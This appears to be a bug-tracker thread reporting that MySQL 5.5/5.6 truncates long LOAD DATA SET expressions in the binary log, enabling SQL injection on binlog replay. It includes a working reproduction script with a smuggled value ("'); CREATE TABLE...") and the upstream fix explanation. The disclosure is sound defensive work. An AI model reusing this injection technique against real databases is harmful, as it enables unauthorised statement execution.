Incorrect truncation of long SET expression in LOAD DATA can cause SQL injection

[Ovais Tariq]

Suppose you have the following files:

-- sql script (test_truncation.sql)
FLUSH LOGS;
CREATE TABLE t1 (a INT PRIMARY KEY, b VARCHAR(1000));
LOAD DATA INFILE '/work/sandboxes/msb_5_5_31/SQL_LOAD-2-1-3.data' INTO TABLE t1
  FIELDS TERMINATED BY ','
    (a, @b) SET b = CONCAT(@b, '| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|', @b);
SELECT * FROM t1 ORDER BY a;
INSERT INTO t1 SET a=100, b="'); CREATE TABLE t_sql_injection(a INT PRIMARY KEY);";
SELECT * FROM t1 ORDER BY a;
SHOW TABLES;
FLUSH LOGS;

-- load data file (/work/sandboxes/msb_5_5_31/SQL_LOAD-2-1-3.data)
1,X
2,A

Now let's execute the test_truncation.sql file:
[root@ovaistariq-test msb_5_5_31]# ./use -A test < test_truncation.sql
a b
1 X| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|X
2 A| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|A
a b
1 X| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|X
2 A| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X123456789Y123456789Z123456789|A
100 '); CREATE TABLE t_sql_injection(a INT PRIMARY KEY);
Tables_in_test
t1

Let's check the binary log that is generated as a result:

[root@ovaistariq-test msb_5_5_31]# mysqlbinlog data/mysql_sandbox5531-bin.000006
/*!40019 SET @@session.max_insert_delayed_threads=0*/;
/*!50003 SET @OLD_COMPLETION_TYPE=@@COMPLETION_TYPE,COMPLETION_TYPE=0*/;
DELIMITER /*!*/;
# at 4
#130502 11:08:21 server id 1 end_log_pos 107 Start: binlog v 4, server v 5.5.31-log created 130502 11:08:21
BINLOG '
BS2CUQ8BAAAAZwAAAGsAAAAAAAQANS41LjMxLWxvZwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAEzgNAAgAEgAEBAQEEgAAVAAEGggAAAAICAgCAA==
'/*!*/;
# at 107
#130502 11:08:21 server id 1 end_log_pos 222 Query thread_id=6 exec_time=1 error_code=0
use test/*!*/;
SET TIMESTAMP=1367485701/*!*/;
SET @@session.pseudo_thread_id=6/*!*/;
SET @@session.foreign_key_checks=1, @@session.sql_auto_is_null=0, @@session.unique_checks=1, @@session.autocommit=1/*!*/;
SET @@session.sql_mode=0/*!*/;
SET @@session.auto_increment_increment=1, @@session.auto_increment_offset=1/*!*/;
/*!\C utf8 *//*!*/;
SET @@session.character_set_client=33,@@session.collation_connection=33,@@session.collation_server=8/*!*/;
SET @@session.lc_time_names=0/*!*/;
SET @@session.collation_database=DEFAULT/*!*/;
CREATE TABLE t1 (a INT PRIMARY KEY, b VARCHAR(1000))
/*!*/;
# at 222
#130502 11:08:22 server id 1 end_log_pos 290 Query thread_id=6 exec_time=0 error_code=0
SET TIMESTAMP=1367485702/*!*/;
BEGIN
/*!*/;
# at 290
#130502 11:08:22 server id 1 end_log_pos 321
#Begin_load_query: file_id: 2 block_len: 8
# at 321
#130502 11:08:22 server id 1 end_log_pos 835 Execute_load_query thread_id=6 exec_time=0 error_code=0
SET TIMESTAMP=1367485702/*!*/;
LOAD DATA LOCAL INFILE '/tmp/SQL_LOAD_MB-2-d' INTO TABLE `t1` FIELDS TERMINATED BY ',' ENCLOSED BY '' ESCAPED BY '\\' LINES TERMINATED BY '\n' (`a`, @`b`) SET `b`= CONCAT(@b, '| 123456789A123456789B123456789C123456789D123456789E123456789F123456789G123456789H123456789I123456789J123456789K123456789L123456789M123456789N123456789O123456789P123456789Q123456789R123456789123456789T123456789U123456789V123456789W123456789X1
/*!*/;
# file_id: 2
# at 835
#130502 11:08:22 server id 1 end_log_pos 862 Xid = 31
COMMIT/*!*/;
# at 862
#130502 11:08:22 server id 1 end_log_pos 930 Query thread_id=6 exec_time=0 error_code=0
SET TIMESTAMP=1367485702/*!*/;
BEGIN
/*!*/;
# at 930
#130502 11:08:22 server id 1 end_log_pos 1075 Query thread_id=6 exec_time=0 error_code=0
SET TIMESTAMP=1367485702/*!*/;
INSERT INTO t1 SET a=100, b="'); CREATE TABLE t_sql_injection(a INT PRIMARY KEY);"
/*!*/;
# at 1075
#130502 11:08:22 server id 1 end_log_pos 1102 Xid = 33
COMMIT/*!*/;
# at 1102
#130502 11:08:22 server id 1 end_log_pos 1157 Rotate to mysql_sandbox5531-bin.000007 pos: 4
DELIMITER ;
# End of log file
ROLLBACK /* added by mysqlbinlog */;
/*!50003 SET COMPLETION_TYPE=@OLD_COMPLETION_TYPE*/;

And you can see that LOAD DATA is incorrectly truncated, meaning that a subsequent malicious query can cause SQL Injection. The subsequent INSERT query can now execute any other query, in the example above it can create a new table `t_sql_injection`.

Now let's drop the table t1 and pipe the mysqlbinlog output of the above binlog to mysql client (as is done during PITR):
[root@ovaistariq-test msb_5_5_31]# ./use -A test
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.5.31-log MySQL Community Server (GPL)

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql [localhost] {msandbox} (test) > drop table t1;
Query OK, 0 rows affected (0.12 sec)

mysql [localhost] {msandbox} (test) > Bye
[root@ovaistariq-test msb_5_5_31]# mysqlbinlog data/mysql_sandbox5531-bin.000006 | ./use -A test
ERROR 1064 (42000) at line 35: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"
/*!*/;
# at 1075
#130502 11:08:22 server id 1 end_log_pos 1102 Xid = 33
COMM' at line 1

Now let's check to see if the table `t_sql_injection` got created or not:
[root@ovaistariq-test msb_5_5_31]# ./use -A test
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 5.5.31-log MySQL Community Server (GPL)

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql [localhost] {msandbox} (test) > show tables;
+-----------------+
| Tables_in_test |
+-----------------+
| t1 |
| t_sql_injection |
+-----------------+
2 rows in set (0.00 sec)

mysql [localhost] {msandbox} (test) > Bye

As you can see I was able to successfully do SQL injection and could have executed any arbitrary statement.

[Valerii Kravchuk (valerii-kravchuk)]

PS 5.6.10 is also affected:

...
[openxs@centos Percona-Server-5.6.10-alpha60.2-324.Linux.x86_64]$ bin/mysqlbinlog data/centos-bin.000003 | bin/mysql --no-defaults --socket=/tmp/vk56.sock -uroot test
ERROR 1064 (42000) at line 37: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"
/*!*/;
# at 1120
#130517 11:00:49 server id 1 end_log_pos 1151 CRC32 0xb99858' at line 1
[openxs@centos Percona-Server-5.6.10-alpha60.2-324.Linux.x86_64]$ bin/mysql --no-defaults --socket=/tmp/vk56.sock -uroot test Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 6
Server version: 5.6.10-alpha60.2-log Percona Server with XtraDB (GPL), Release alpha60.2,б═Revisionб═324

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show tables;
+-----------------+
| Tables_in_test |
+-----------------+
| t1 |
| t_sql_injection |
+-----------------+
2 rows in set (0.00 sec)

[Laurynas Biveinis (laurynas-biveinis)]

MySQL 5.5.33:

5.5$ bzr log -r 4397
------------------------------------------------------------
revno: 4397
committer: Sujatha Sivakumar <email address hidden>
branch nick: Bug16753869_mysql-5.5
timestamp: Mon 2013-06-24 11:11:55 +0530
message:
  Bug#16753869:INCORRECT TRUNCATION OF LONG SET EXPRESSION IN
  LOAD DATA CAN CAUSE SQL INJECTION

  Problem:
  =======
  A long SET expression in LOAD DATA is incorrectly truncated
  when written to the binary log.

  Analysis:
  ========
  LOAD DATA statements are reconstructed once again before
  they are written to the binary log. When SET clauses are
  specified as part of LOAD DATA statement, these SET clause
  user command strings need to be stored as it is inorder to
  reconstruct the original user command. At present these
  strings are stored as part of SET clause item tree's
  top most Item node's name itself which is incorrect. As an
  Item::name can be of MAX_ALIAS_NAME (256) size. Hence the
  name will get truncated to "255".

  Because of this the rewritten LOAD DATA statement will be
  terminated incorrectly. When this statment is read back by
  the mysqlbinlog tool it reads a starting single quote and
  continuos to read till it finds an ending quote. Hence any
  statement written post ending quote will be considered as
  a new statement.

  Fix:
  ===
  As name field has length restriction the string value
  should not be stored in Item::name. A new String list is
  maintained to store the SET expression values and this list
  is read during reconstrution.

[Vlad Lesin (vlad-lesin)]

The fix is with bug. See detailed description here https://bugs.launchpad.net/percona-server/+bug/1208371/comments/5 .

[Shahriyar Rzayev (rzayev-sehriyar)]

Percona now uses JIRA for bug reports so this bug report is migrated to: https://jira.percona.com/browse/PS-663